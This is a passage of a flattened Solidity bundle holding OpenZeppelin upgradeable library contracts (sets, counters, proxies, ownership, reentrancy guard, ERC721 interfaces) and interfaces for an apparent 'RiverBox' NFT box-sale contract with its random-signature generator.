set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.8.2; pragma abicoder v2; interface IRiverBoxV2 { struct Hierarchy { uint16 parentLocationId; uint16[] childLocationIds; } struct Product { uint16 locationId; uint16 fusionCount; // number of times used to fuse item uint32 signature; // properties uint256[] parts; // a list token ids which are used to fuse this item } /* ================ EVENTS ================ */ /** * @dev Emitted when box price is changed. * @param from old price * @param to new price */ event BoxPriceChanged(uint256 indexed from, uint256 indexed to); event BoxAwarded(address indexed payer, uint256 indexed tokenId, uint256 eventTime); /* ================ UTIL FUNCTIONS ================ */ /* ================ VIEWS ================ */ function tokenDetail(uint256 tokenId) external view returns (Product memory); function tokenURI(uint256 tokenId) external view returns (string memory); function implementationVersion() external view returns (string memory); /* ================ TRANSACTIONS ================ */ function buy(uint256 quality, address referrer) external payable; /* ================ ADMIN ACTIONS ================ */ function setBaseURI(string memory newBaseURI) external; function pause() external; function unPause() external; function setBoxPrice(uint256 newPrice) external; function setRandomGenerator(address newAddress) external; function setTokenURI(uint256 tokenId, string memory _tokenURI) external; function setShare( address _funderAddress, address _devAddress, address _marketAddress, uint8 _devShare, uint8 _marketShare ) external; function withdraw(uint256 amount) external; function airdrop(address[] memory receivers) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.2; pragma abicoder v2; interface IRiverBoxRandom { function generateSignature(uint256 salt) external view returns (uint256); function setCaller(address riverBox) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) 